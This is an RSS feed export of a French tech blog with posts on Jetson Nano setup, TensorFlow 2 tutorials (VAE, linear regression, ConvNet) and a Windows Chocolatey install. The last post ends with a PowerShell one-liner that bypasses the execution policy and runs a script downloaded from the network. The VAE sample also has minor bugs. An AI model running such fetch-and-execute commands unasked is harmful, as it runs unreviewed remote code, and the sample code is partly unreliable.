# To do basic image processing functions
pip install imutils
# The Python Imaging Library pillow
pip install pillow
sudo apt-get install python3-setuptools -y
# Librairie d&#39;algèbre linéaire
sudo apt-get install python3-pip libopenblas-base -y
</code></pre><br/>
<p><strong>Installation de Scipy, Scikit-learn, Keras, Jupyter notebook, opencv-python</strong></p>
<pre tabindex="0"><code>pip install scipy
pip install keras
pip install scikit-learn
pip install jupyter notebook	
pip install numpy # and wait forever... 
</code></pre><br/>
<p><strong>Installation de Tensorflow</strong></p>
<pre tabindex="0"><code>pip install --extra-index-url https://developer.download.nvidia.com/compute/redist/jp/v42/tensorflow-gpu version_de_tensorflow 

# Les dernières versions de Tensorflow sont disponibles:
tensorflow_gpu-1.15.0+nv19.11-cp36-cp36m-linux_aarch64.whl 217MB 2019-12-12 16:58:00
tensorflow_gpu-2.0.0+nv19.11-cp36-cp36m-linux_aarch64.whl 198MB 2019-12-12 16:58:00
</code></pre><br/>
<p><strong>Configuration du SWAP</strong></p>
<p>Par défaut, le SWAP n&rsquo;est pas activé, ce qui provoque des <code>OOM Kills</code> (Out Of Memory kills).</p>
<p>Il faut donc l&rsquo;activer. Pour ce faire, exécutez les commandes suivantes:</p>
<pre tabindex="0"><code>sudo swapon --show

# La taille idéale devrait être de deux fois celle de la RAM. Si vous avez une carte de 64 Go, fixez la taille du Swap à 8G.

sudo fallocate -l 8G /swapfile
sudo chmod 600 /swapfile
ls -lh /swapfile

# Création et activation du SWAP
sudo mkswap /swapfile
sudo swapon /swapfile

# Vérification
sudo swapon --show
free -h

# Rendre l&#39;activation persistente après reboot
sudo cp /etc/fstab /etc/fstab.bak
echo &#39;/swapfile none swap sw 0 0&#39; | sudo tee -a /etc/fstab
</code></pre><br/>
<p><strong>Installation de Pytorch</strong></p>
<pre tabindex="0"><code>wget https://nvidia.box.com/shared/static/ncgzus5o23uck9i5oth2n8n06k340l6k.whl -O torch-1.4.0-cp36-cp36m-linux_aarch64.whl
sudo pip3 install Cython
sudo pip3 install numpy
sudo pip3 install torch-1.4.0-cp36-cp36m-linux_aarch64.whl
</code></pre><br/>
<p><strong>Installation de torchvision</strong></p>
<pre tabindex="0"><code>sudo apt-get install libjpeg-dev zlib1g-dev
git clone --branch v0.5.0 https://github.com/pytorch/vision torchvision
cd torchvision
sudo python setup.py install
cd ../   # attempting to load torchvision from build dir will result in import error
</code></pre><br/>
<p><strong>Installation du driver GPIO</strong></p>
<pre tabindex="0"><code>pip install Jetson.GPIO
sudo groupadd -f -r gpio
sudo usermod -a -G gpio pi
sudo cp /opt/nvidia/jetson-gpio/etc/99-gpio.rules /etc/udev/rules.d/

Rebooter ou exécuter

sudo udevadm control --reload-rules &amp;&amp; sudo udevadm trigger
</code></pre><br/>
<p><strong>Installation du modèle Yolo</strong></p>
<pre tabindex="0"><code>export GPU = 1
pip install yolo34py-gpu
</code></pre><br/>
<h2 id="forum-nvidia-officiel">Forum Nvidia officiel</h2>
<p><a href="https://devtalk.nvidia.com/default/board/371/">Accès au forum Nvidia</a></p>
<br/>
<h2 id="commandes-utiles">Commandes utiles</h2>
<p><strong>Taux d&rsquo;utilisation et température</strong></p>
<pre tabindex="0"><code>tegrastats
</code></pre><br/>
<p><strong>Power mode activé</strong></p>
<pre tabindex="0"><code>sudo /usr/sbin/nvpmodel -q
</code></pre><br/>
<p><strong>Booster le ventilateur</strong></p>
<pre tabindex="0"><code># Le faire tourner au maximum
sudo sh -c &#39;echo 255 &gt; /sys/devices/pwm-fan/target_pwm&#39;
# L&#39;arrêter
sudo sh -c &#39;echo 0 &gt; /sys/devices/pwm-fan/target_pwm&#39;
</code></pre><br/>
<p><strong>Jetson stats</strong></p>
<pre tabindex="0"><code>git clone https://github.com/rbonghi/jetson_stats.git
cd jetson_stats/
sudo ./install_jetson_stats.sh --s
ntop
jetson_release
</code></pre><br/>
<h2 id="conclusion">Conclusion</h2>
<p>A part quels petits soucis rencontrés au niveau de l&rsquo;alimentation de la carte, je ne lui trouve que des avantages.
Les soucis au niveau de l&rsquo;alimentation était dûs à un manque de connaissance de ma part sur le fonctionnement de cette carte. Une fois qu&rsquo;on a compris comment bien aliementer sa carte, tout fonctionne parfaitement.</p>
<p>Un GPIO composé de 40 pins est compatible avec celui du Raspberry Pi. Pour moi cela représente un énorme avantage. Si vous avez déjà construit des projets avec des Raspberry Pi vous pouvez reprendre vos montages existants et les porter sur le Nano.</p>
<p>Et avec le GPU présent, vous pourrez sans doute construire de très beaux projets en y apportant des réseaux de neurones. Et la cela devient vraiment fun.</p>
<p>Je pense que c&rsquo;est assez clair, je recommande très fortement cette carte.</p>
]]></content>
        </item>
        
        <item>
            <title>Autonomous 3D printed car using Nvidia Jetson Nano and Torch</title>
            <link>https://leandeep.com/autonomous-3d-printed-car-using-nvidia-jetson-nano-and-torch/</link>
            <pubDate>Sun, 22 Dec 2019 11:16:00 +0000</pubDate>
            
            <guid>https://leandeep.com/autonomous-3d-printed-car-using-nvidia-jetson-nano-and-torch/</guid>
            <description>&lt;p&gt;Voici une de mes dernières réalisations.&lt;/p&gt;
&lt;p&gt;
    &lt;iframe 
        width=&#34;100%&#34; 
        height=&#34;400px&#34;
        src=&#34;//www.youtube.com/embed/yqyUBr11y00?autoplay=1&amp;mute=1&#34; 
        frameborder=&#34;0&#34; 
        allow=&#34;autoplay; encrypted-media&#34; 
        allowfullscreen&gt;
    &lt;/iframe&gt;


&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici une de mes dernières réalisations.</p>
<p>
    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/yqyUBr11y00?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>


<!-- raw HTML omitted --></p>
<br/>
<p>Je travaille maintenant sur un modèle à 4 roues omnidirectionnelles homemade.
<img src="/images/omni_wheel.png" alt="image"></p>
<br/>
<p>Work in progress&hellip;</p>]]></content>
        </item>
        
        <item>
            <title>Diffuser une vidéo VLC sur Chromecast</title>
            <link>https://leandeep.com/diffuser-une-vid%C3%A9o-vlc-sur-chromecast/</link>
            <pubDate>Sat, 21 Dec 2019 21:22:17 +0000</pubDate>
            
            <guid>https://leandeep.com/diffuser-une-vid%C3%A9o-vlc-sur-chromecast/</guid>
            <description>&lt;p&gt;Petit &lt;em&gt;tip&lt;/em&gt; qui explique comment diffuser le contenu d&amp;rsquo;une vidéo lancée à partir de VLC vers une Chromecast:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Lancez VLC 3.0+ sur votre ordinateur ou double-cliquez sur une vidéo associée à VLC.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lancer la lecture de la vidéo puis la diffusion sur le Chromecast en cliquant sur le menu Lecture -&amp;gt; Rendu puis sélectionner votre Chromecast.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;Et voilà, rien de plus simple.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Petit <em>tip</em> qui explique comment diffuser le contenu d&rsquo;une vidéo lancée à partir de VLC vers une Chromecast:</p>
<ul>
<li>
<p>Lancez VLC 3.0+ sur votre ordinateur ou double-cliquez sur une vidéo associée à VLC.</p>
</li>
<li>
<p>Lancer la lecture de la vidéo puis la diffusion sur le Chromecast en cliquant sur le menu Lecture -&gt; Rendu puis sélectionner votre Chromecast.</p>
</li>
</ul>
<br/>
<p>Et voilà, rien de plus simple.</p>
]]></content>
        </item>
        
        <item>
            <title>Premier modèle VAE avec Tensorflow 2</title>
            <link>https://leandeep.com/premier-mod%C3%A8le-vae-avec-tensorflow-2/</link>
            <pubDate>Fri, 20 Dec 2019 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/premier-mod%C3%A8le-vae-avec-tensorflow-2/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons créer un modèle VAE qui va nous aider à générer des nouveaux digits. Nous partirons du dataset MNIST.
Chaque image de ce dataset est normalisée dans un cadre faisant 28x28 pixels.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;variational-autoencoders-vae&#34;&gt;Variational Autoencoders (VAE)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Chargement des modules&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from __future__ import division, absolute_import, print_function, unicode_literals
import tensorflow as tf
import time
import numpy as np
import os
import matplotlib.pyplot as plt
import PIL
import glob
import imageio
from IPython import display
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Chargement du dataset MNIST:&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons créer un modèle VAE qui va nous aider à générer des nouveaux digits. Nous partirons du dataset MNIST.
Chaque image de ce dataset est normalisée dans un cadre faisant 28x28 pixels.</p>
<br/>
<h2 id="variational-autoencoders-vae">Variational Autoencoders (VAE)</h2>
<p><strong>Chargement des modules</strong></p>
<pre tabindex="0"><code>from __future__ import division, absolute_import, print_function, unicode_literals
import tensorflow as tf
import time
import numpy as np
import os
import matplotlib.pyplot as plt
import PIL
import glob
import imageio
from IPython import display
</code></pre><br/>
<p><strong>Chargement du dataset MNIST:</strong></p>
<pre tabindex="0"><code>(train_data, _), (test_data, _) = tf.keras.datasets.mnist.load_data()
train_data = train_data.reshape(train_data.shape[0], 28, 28, 1).astype(&#39;float32&#39;)
test_data = test_data.reshape(test_data.shape[0], 28, 28, 1).astype(&#39;float32&#39;)
</code></pre><br/>
<p><strong>Normalisation des images d&rsquo;entrée entre [0,1]:</strong></p>
<pre tabindex="0"><code>train_data /= 255.
test_data /= 255.
</code></pre><br/>
<p><strong>Binarisation des données normalisées:</strong></p>
<pre tabindex="0"><code>train_data[train_data &gt;= .5] = 1.
train_data[train_data &lt; .5] = 0.
test_data[test_data &gt;= .5] = 1.
test_data[test_data &lt; .5] = 0.
</code></pre><br/>
<p><strong>Batching et Shuffling du dataset:</strong></p>
<pre tabindex="0"><code>TRAIN_SIZE = 60000
BATCH_SIZE = 50
TEST_SIZE = 10000
train_batch = tf.data.Dataset.from_tensor_slices(train_data).shuffle(TRAIN_SIZE).batch(BATCH_SIZE)
test_batch = tf.data.Dataset.from_tensor_slices(test_data).shuffle(TEST_SIZE).batch(BATCH_SIZE)
</code></pre><br/>
<p><strong>Construction des CNN:</strong>
<br/>
On va construire 2 réseaux neuronals convolutionnels pour l&rsquo;Encoder et le Decoder.
<br/>
Ces deux réseaux seront envoloppés dans tf.keras.Sequential</p>
<pre tabindex="0"><code>class CONV_VAE(tf.keras.Model):
  def __init__(self, latent_dim):
    super(CONV_VAE, self).__init__()
    self.latent_vec = latent_vec
    self.encoder_model = tf.keras.Sequential(
      [
          tf.keras.layers.InputLayer(input_shape=(28, 28, 1)),
          tf.keras.layers.Conv2D(
              filters=25, kernel_size=3, strides=(2, 2), activation=&#39;relu&#39;),
          tf.keras.layers.Conv2D(
              filters=50, kernel_size=3, strides=(2, 2), activation=&#39;relu&#39;),
          tf.keras.layers.Flatten(),
          tf.keras.layers.Dense(latent_vec + latent_vec),
      ]
    )
    self.decoder_model = tf.keras.Sequential(
        [
          tf.keras.layers.InputLayer(input_shape=(latent_vec,)),
          tf.keras.layers.Dense(units=7*7*25, activation=tf.nn.relu),
          tf.keras.layers.Reshape(target_shape=(7, 7, 25)),
          tf.keras.layers.Conv2DTranspose(
              filters=50,
              kernel_size=3,
              strides=(2, 2),
              padding=&#34;SAME&#34;,
              activation=&#39;relu&#39;),
          tf.keras.layers.Conv2DTranspose(
              filters=25,
              kernel_size=3,
              strides=(2, 2),
              padding=&#34;SAME&#34;,
              activation=&#39;relu&#39;),
          tf.keras.layers.Conv2DTranspose(
              filters=1, kernel_size=3, strides=(1, 1), padding=&#34;SAME&#34;),
        ]
    )

  @tf.function
  def sampling(self, sam=None):
    if sam is None:
      sam = tf.random.normal(shape=(50, self.latent_vec))
    return self.decoder(sam, apply_sigmoid=True)

  def encoder(self, inp):
    mean, logd = tf.split(self.encoder_model(inp), num_or_size_splits=2, axis=1)
    return mean, logd

  def reparameterization(self, mean, logd):
    sam = tf.random.normal(shape=mean.shape)
    return sam * tf.exp(logd * .5) + mean

  def decoder(self, out, apply_sigmoid=False):
    logout = self.decoder_model(out)
    if apply_sigmoid:
      probabs = tf.sigmoid(logout)
      return probabs

    return logout
</code></pre><br/>
<p><strong>Construire la fonction d&rsquo;optimisation:</strong></p>
<pre tabindex="0"><code>optimizer_func = tf.keras.optimizers.Adam(1e-4)

def log_normal_prob_dist_func(sample, mean, logd, raxis=1):
  log2pi = tf.math.log(2. * np.pi)
  return tf.reduce_sum(-.5 * ((sample - mean) ** 2. * tf.exp(-logd) + logd + log2pi), axis=raxis)

@tf.function
def loss_func(model, inp):
  mean, logd = model.encoder(inp)
  out = model.reparameterization(mean, logd)
  log_inp = model.decoder(out)
  cross_entropy = tf.nn.sigmoid_cross_entropy_with_logits(logits=log_inp, labels=inp)
  logp_inp_out = -tf.reduce_sum(cross_entropy, axis=[1, 2, 3])
  logp_out = log_normal_prob_dist_func(out, 0., 0.)
  logq_out_inp = log_normal_prob_dist_func(out, mean, logd)
  return -tf.reduce_mean(logp_inp_out + logp_out - logq_out_inp)

@tf.function
def gradient_func(model, inp, optimizer_func):
  with tf.GradientTape() as tape:
    loss = loss_func(model, inp)
  gradients = tape.gradient(loss, model.trainable_variables)
  optimizer_func.apply_gradients(zip(gradients, model.trainable_variables))
</code></pre><br/>
<p><strong>Entrainement:</strong></p>
<pre tabindex="0"><code>epochs = 100
latent_vec = 8
examples = 8

rand_vec = tf.random.normal(
    shape=[examples, latent_vec])
model = CONV_VAE(latent_vec)
</code></pre><br/>
<p><strong>Génération des images à partir du modèle entrainé:</strong></p>
<pre tabindex="0"><code>def generate_and_save_images(model, epochs, input_data):
  preds = model.sampling(input_data)
  fig = plt.figure(figsize=(4,4))

  for i in range(preds.shape[0]):
      plt.subplot(4, 4, i+1)
      plt.imshow(preds[i, :, :, 0], cmap=&#39;gray&#39;)
      plt.axis(&#39;off&#39;)

  plt.savefig(&#39;img_at_epoch{:04d}.png&#39;.format(epochs))
  plt.show()

generate_and_save_images(model, 0, rand_vec)

for epoch in range(1, epochs + 1):
  start_time = time.time()
  for x in train_batch:
    gradient_func(model, x, optimizer_func)
  end_time = time.time()

  if epoch % 1 == 0:
    loss = tf.keras.metrics.Mean()
    for y in test_batch:
      loss(loss_func(model, y))
    elbo = -loss.result()
    display.clear_output(wait=False)
    print(&#39;Epoch number: {}, Test batch ELBO: {}, &#39;
          &#39;elapsed time for current epoch {}&#39;.format(epochs, elbo, end_time - start_time))
    generate_and_save_images(model, epochs, rand_vec)
</code></pre><br/>
<p><strong>Afficher une image générée:</strong></p>
<pre tabindex="0"><code>def display_image(epoch_no):
  return PIL.Image.open(&#39;img_at_epoch{:04d}.png&#39;.format(epoch_no))

plt.imshow(display_image(epochs))
plt.axis(&#39;off&#39;)
</code></pre><p><img src="/images/digits.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Régression linéaire avec Tensorflow 2</title>
            <link>https://leandeep.com/r%C3%A9gression-lin%C3%A9aire-avec-tensorflow-2/</link>
            <pubDate>Tue, 17 Dec 2019 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/r%C3%A9gression-lin%C3%A9aire-avec-tensorflow-2/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Pourquoi multiplier les framework Machine Learning quand on peut tout faire avec Tensorflow ? C&amp;rsquo;est une de mes reflexions du moment. Dans cet article, nous allons voir à quel point il est simple de faire une regression linéaire avec Tensorflow 2 avec le dataset Boston Housing.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;régression-linéaire&#34;&gt;Régression linéaire&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Chargement des modules:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from __future__ import print_function, absolute_import, unicode_literals, division

import tensorflow as tf
import seaborn as sb
import numpy as np
import pandas as pd
from tensorflow.estimator import LinearRegressor
from tensorflow import keras as ks
from sklearn import datasets
from sklearn.metrics import mean_squared_error, r2_score
from sklearn.model_selection import train_test_split
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Chargement du dataset:&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Pourquoi multiplier les framework Machine Learning quand on peut tout faire avec Tensorflow ? C&rsquo;est une de mes reflexions du moment. Dans cet article, nous allons voir à quel point il est simple de faire une regression linéaire avec Tensorflow 2 avec le dataset Boston Housing.</p>
<br/>
<h2 id="régression-linéaire">Régression linéaire</h2>
<p><strong>Chargement des modules:</strong></p>
<pre tabindex="0"><code>from __future__ import print_function, absolute_import, unicode_literals, division

import tensorflow as tf
import seaborn as sb
import numpy as np
import pandas as pd
from tensorflow.estimator import LinearRegressor
from tensorflow import keras as ks
from sklearn import datasets
from sklearn.metrics import mean_squared_error, r2_score
from sklearn.model_selection import train_test_split
</code></pre><br/>
<p><strong>Chargement du dataset:</strong></p>
<pre tabindex="0"><code>boston_load = datasets.load_boston()

feature_columns = boston_load.feature_names
target_column = boston_load.target

boston_data = pd.DataFrame(boston_load.data, columns=feature_columns).astype(np.float32)
boston_data[&#39;MEDV&#39;] = target_column.astype(np.float32)
</code></pre><br/>
<p><strong>Analyse des corrélations entre les données:</strong></p>
<pre tabindex="0"><code>sb.pairplot(boston_data, diag_kind=&#34;kde&#34;, height=3, aspect=0.6)

correlation_data = boston_data.corr()
correlation_data.style.background_gradient(cmap=&#39;coolwarm&#39;, axis=None)
</code></pre><p><img src="/images/correlations.png" alt="correlations"></p>
<p><img src="/images/correlation_pairplot.png" alt="correlations pairplot"></p>
<br/>
<p><strong>Statistiques sur les données:</strong></p>
<pre tabindex="0"><code>stats = boston_data.describe()
boston_stats = stats.transpose()
print(boston_stats)
</code></pre><p><img src="/images/boston_housing_stats.png" alt="correlations"></p>
<br/>
<p><strong>Sélection des donneées:</strong></p>
<pre tabindex="0"><code>X_data = boston_data[[i for i in boston_data.columns if i not in [&#39;MEDV&#39;]]]
Y_data = boston_data[[&#39;MEDV&#39;]]
</code></pre><br/>
<p><strong>Split Train Test:</strong></p>
<pre tabindex="0"><code>training_features , test_features ,training_labels, test_labels = train_test_split(X_data , Y_data , test_size=0.2)

print(&#39;Number of rows in Training Features: &#39;, training_features.shape[0])
print(&#39;Number of rows in Test Features: &#39;, test_features.shape[0])
print(&#39;Number of columns in Training Features: &#39;, training_features.shape[1])
print(&#39;Number of columns in Test Features: &#39;, test_features.shape[1])

print(&#39;Number of rows in Training Label: &#39;, training_labels.shape[0])
print(&#39;Number of rows in Test Label: &#39;, test_labels.shape[0])
print(&#39;Number of columns in Training Label: &#39;, training_labels.shape[1])
print(&#39;Number of columns in Test Label: &#39;, test_labels.shape[1])

stats = training_features.describe()
stats = stats.transpose()
print(stats)

stats = test_features.describe()
stats = stats.transpose()
print(stats)
</code></pre><br/>
<p><strong>Normalisation des données:</strong></p>
<pre tabindex="0"><code>def normalize(x):
  stats = x.describe()
  stats = stats.transpose()
  return (x - stats[&#39;mean&#39;]) / stats[&#39;std&#39;]

normed_train_features = normalize(training_features)
normed_test_features = normalize(test_features)
</code></pre><br/>
<p><strong>Construction de la pipeline d&rsquo;input pour construire le modèle TensorFlow:</strong></p>
<pre tabindex="0"><code>def feed_input(features_dataframe, target_dataframe, num_of_epochs=10, shuffle=True, batch_size=32):
  def input_feed_function():
    dataset = tf.data.Dataset.from_tensor_slices((dict(features_dataframe), target_dataframe))
    if shuffle:
      dataset = dataset.shuffle(2000)
    dataset = dataset.batch(batch_size).repeat(num_of_epochs)
    return dataset
  return input_feed_function

train_feed_input = feed_input(normed_train_features, training_labels)
train_feed_input_testing = feed_input(normed_train_features, training_labels, num_of_epochs=1, shuffle=False)
test_feed_input = feed_input(normed_test_features, test_labels, num_of_epochs=1, shuffle=False)
</code></pre><br/>
<p><strong>Entrainement du modèle:</strong></p>
<pre tabindex="0"><code>feature_columns_numeric = [tf.feature_column.numeric_column(m) for m in training_features.columns]
linear_model = LinearRegressor(feature_columns=feature_columns_numeric, optimizer=&#39;RMSProp&#39;)
linear_model.train(train_feed_input)
</code></pre><br/>
<p><strong>Prédictions:</strong></p>
<pre tabindex="0"><code>train_predictions = linear_model.predict(train_feed_input_testing)
test_predictions = linear_model.predict(test_feed_input)

train_predictions_series = pd.Series([p[&#39;predictions&#39;][0] for p in train_predictions])
test_predictions_series = pd.Series([p[&#39;predictions&#39;][0] for p in test_predictions])

train_predictions_df = pd.DataFrame(train_predictions_series, columns=[&#39;predictions&#39;])
test_predictions_df = pd.DataFrame(test_predictions_series, columns=[&#39;predictions&#39;])

training_labels.reset_index(drop=True, inplace=True)
train_predictions_df.reset_index(drop=True, inplace=True)

test_labels.reset_index(drop=True, inplace=True)
test_predictions_df.reset_index(drop=True, inplace=True)

train_labels_with_predictions_df = pd.concat([training_labels, train_predictions_df], axis=1)
test_labels_with_predictions_df = pd.concat([test_labels, test_predictions_df], axis=1)
</code></pre><br/>
<p><strong>Validation:</strong></p>
<pre tabindex="0"><code>def calculate_errors_and_r2(y_true, y_pred):
  mean_squared_err = (mean_squared_error(y_true, y_pred))
  root_mean_squared_err = np.sqrt(mean_squared_err)
  r2 = round(r2_score(y_true, y_pred)*100,0)
  return mean_squared_err, root_mean_squared_err, r2

train_mean_squared_error, train_root_mean_squared_error, train_r2_score_percentage = calculate_errors_and_r2(training_labels, train_predictions_series)
test_mean_squared_error, test_root_mean_squared_error, test_r2_score_percentage = calculate_errors_and_r2(test_labels, test_predictions_series)

print(&#39;Training Data Mean Squared Error = &#39;, train_mean_squared_error)
print(&#39;Training Data Root Mean Squared Error = &#39;, train_root_mean_squared_error)
print(&#39;Training Data R2 = &#39;, train_r2_score_percentage)

print(&#39;Test Data Mean Squared Error = &#39;, test_mean_squared_error)
print(&#39;Test Data Root Mean Squared Error = &#39;, test_root_mean_squared_error)
print(&#39;Test Data R2 = &#39;, test_r2_score_percentage)
</code></pre><br/>
<p><strong>Output:</strong></p>
<p>Training Data Mean Squared Error =  23.667924020459342<br/>
Training Data Root Mean Squared Error =  4.864969066752567<br/>
Training Data R2 =  72.0<br/>
Test Data Mean Squared Error =  20.22803996987049<br/>
Test Data Root Mean Squared Error =  4.497559334780419<br/>
Test Data R2 =  77.0<br/></p>
]]></content>
        </item>
        
        <item>
            <title>Premier ConvNet avec Tensorflow 2</title>
            <link>https://leandeep.com/premier-convnet-avec-tensorflow-2/</link>
            <pubDate>Tue, 10 Dec 2019 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/premier-convnet-avec-tensorflow-2/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Tensorflow 2 beta est récemment sorti.
Beaucoup de choses ont changé et il est maintenant beaucoup plus simple à utiliser.
Keras a aussi été pleinement intégré. On peut l&amp;rsquo;utiliser pour des applications large-scale.
Le graphe d&amp;rsquo;exécution est maintenant automatiquement créé par le framework. Le Python est converti est graphe. Dans cet article, nous allons créer un simple Convnet avec 3 couches en quelques lignes de codes pour se rendre compte à quel point l&amp;rsquo;utilisation de Tensorflow a été simplifiée.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Tensorflow 2 beta est récemment sorti.
Beaucoup de choses ont changé et il est maintenant beaucoup plus simple à utiliser.
Keras a aussi été pleinement intégré. On peut l&rsquo;utiliser pour des applications large-scale.
Le graphe d&rsquo;exécution est maintenant automatiquement créé par le framework. Le Python est converti est graphe. Dans cet article, nous allons créer un simple Convnet avec 3 couches en quelques lignes de codes pour se rendre compte à quel point l&rsquo;utilisation de Tensorflow a été simplifiée.</p>
<br/>
<h2 id="convnet">ConvNet</h2>
<p><strong>Chargement des modules</strong></p>
<pre tabindex="0"><code>from __future__ import absolute_import, division, print_function, unicode_literals
import numpy as np
import tensorflow as tf
from tensorflow import keras as ks
print(tf.__version__)
</code></pre><br/>
<p><strong>Chargement du dataset opensource Zalando Fashion-MNIST</strong></p>
<pre tabindex="0"><code>mnist_fashion = ks.datasets.fashion_mnist
(training_images, training_labels), (test_images, test_labels) = mnist_fashion.load_data()
print(&#39;Training Dataset Shape: {}&#39;.format(training_images.shape))
print(&#39;Number of Training Dataset Labels: {}&#39;. format(len(training_labels)))
print(&#39;Test Dataset Shape: {}&#39;.format(test_images.shape)) 
print(&#39;Number of Test Dataset Labels: {}&#39;.format(len(test_labels)))
</code></pre><br/>
<p><strong>Normalisation des valeurs</strong></p>
<p>Comme la valeur des pixels varie entre 0 et 255, on va normaliser ces valeurs entre 0 et 1 avant de les pousser dans le modèle. On normalise ces valeurs (training and test data) en les divisant par 255.</p>
<pre tabindex="0"><code>training_images = training_images / 255.0
test_images = test_images / 255.0
</code></pre><br/>
<p><strong>Remaniement des training et tests data</strong></p>
<p>On modifie la forme des training et tests matrices en 28x28x1</p>
<pre tabindex="0"><code>training_images = training_images.reshape((60000, 28, 28, 1))
test_images = test_images.reshape((10000, 28, 28, 1))
print(&#39;Training Dataset Shape: {}&#39;.format(training_images.shape))
print(&#39;Number of Training Dataset Labels: {}&#39;.format(len(training_labels)))
print(&#39;Test Dataset Shape: {}&#39;.format(test_images.shape))
print(&#39;Number of Test Dataset Labels: {}&#39;.format(len(test_labels)))
</code></pre><br/>
<p><strong>Construction des couches du modèle</strong></p>
<p>Keras est utiliser pour construire les différentes couches de notre CNN. <br/>Pour faire simple, on va créer seulement 3 couches.</p>
<br/>
<p>Première couche: couche convolutionnelle avec une fonction d&rsquo;activation ReLU</p>
<ul>
<li>Cette couche prend un tableau en 2D (28 × 28 pixels) comme input.</li>
<li>Elle prend 50 kernels (filtres) convolutionnels de forme 3 × 3 pixels.</li>
<li>La sortie de cette couche qui va passer par une fonction d&rsquo;activation ReLU avant de passer à la prochaine couche</li>
</ul>
<pre tabindex="0"><code>cnn_model = ks.models.Sequential()
cnn_model.add(ks.layers.Conv2D(50, (3, 3), activation=&#39;relu&#39;, input_shape=(28, 28, 1), name=&#39;Conv2D_layer&#39;))
</code></pre><br/>
<p>Deuxième couche:</p>
<br/>
<p>Cette couche prend 50 26x26 tableaux à 2D comme input et les transforme comme 50 tableaux qui ont des dimensions divisés par 2 (c&rsquo;est-à-dire: de 26×26 à 13×13 pixels).</p>
<pre tabindex="0"><code>cnn_model.add(ks.layers.MaxPooling2D((2, 2), name=&#39;Maxpooling_2D&#39;))
</code></pre><br/>
<p>Troisième couche &ldquo;fully connected layer&rdquo;:</p>
<br/>
<p>Cette couche prend 50 13x13 tableaux de 2D comme input et les transform en un tableau à 1D comprenant 8450 élements (50×13×13). Ces 8450 élements d&rsquo;input sont passés à travers un réseau de neuronne &ldquo;fully connected&rdquo; qui donne des scores de probabilité pour chacune des 10 outputs.</p>
<pre tabindex="0"><code>cnn_model.add(ks.layers.Flatten(name=&#39;Flatten&#39;))
cnn_model.add(ks.layers.Dense(50, activation=&#39;relu&#39;, name=&#39;Hidden_layer&#39;))
cnn_model.add(ks.layers.Dense(10, activation=&#39;softmax&#39;, name=&#39;Output_layer&#39;))
</code></pre><br/>
<p><strong>Synthèse des couches</strong></p>
<p>On observe le détail des différentes couches grâce à la commande suivante:</p>
<pre tabindex="0"><code>cnn_model.summary()
</code></pre><br/>
<p><strong>Création de la fonction d&rsquo;optimisation</strong></p>
<p>Maintenant on utiliser une fonction d&rsquo;optimisation grâce à la méthode compile. On utiliser un optimiseur Adam avec la fonction d&rsquo;objectif sparse_categorical_crossentropy pour optimiser la métrique accuracy.</p>
<pre tabindex="0"><code>cnn_model.compile(optimizer=&#39;adam&#39;, loss=&#39;sparse_categorical_crossentropy&#39;, metrics=[&#39;accuracy&#39;])
</code></pre><br/>
<p><strong>Entraintement du modèle</strong></p>
<pre tabindex="0"><code>cnn_model.fit(training_images, training_labels, epochs=10)
</code></pre><br/>
<p><strong>Modèle évaluation</strong></p>
<pre tabindex="0"><code># 1. Training évaluation
training_loss, training_accuracy = cnn_model.evaluate(training_images, training_labels)
print(&#39;Training Accuracy {}&#39;. format(round(float(training_accuracy), 2)))

# 2. Test évaluation
test_loss, test_accuracy = cnn_model.evaluate(test_images, test_labels)
print(&#39;Test Accuracy {}&#39;.format(round(float (test_accuracy), 2)))
</code></pre><br/>
<p><strong>Output</strong></p>
<p>Training Accuracy 0.97<br/>
Test Accuracy 0.91</p>
]]></content>
        </item>
        
        <item>
            <title>Install Azure Servicebus explorer on Windows 11</title>
            <link>https://leandeep.com/install-azure-servicebus-explorer-on-windows-11/</link>
            <pubDate>Tue, 03 Dec 2019 10:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/install-azure-servicebus-explorer-on-windows-11/</guid>
            <description>&lt;h2 id=&#34;install-chocolatey&#34;&gt;Install Chocolatey&lt;/h2&gt;
&lt;p&gt;Open a Powershell window and execute the following command as admin:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Set-ExecutionPolicy Bypass -Scope Process -Force; `
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; `
iex ((New-Object System.Net.WebClient).DownloadString(&amp;#39;https://chocolatey.org/install.ps1&amp;#39;))
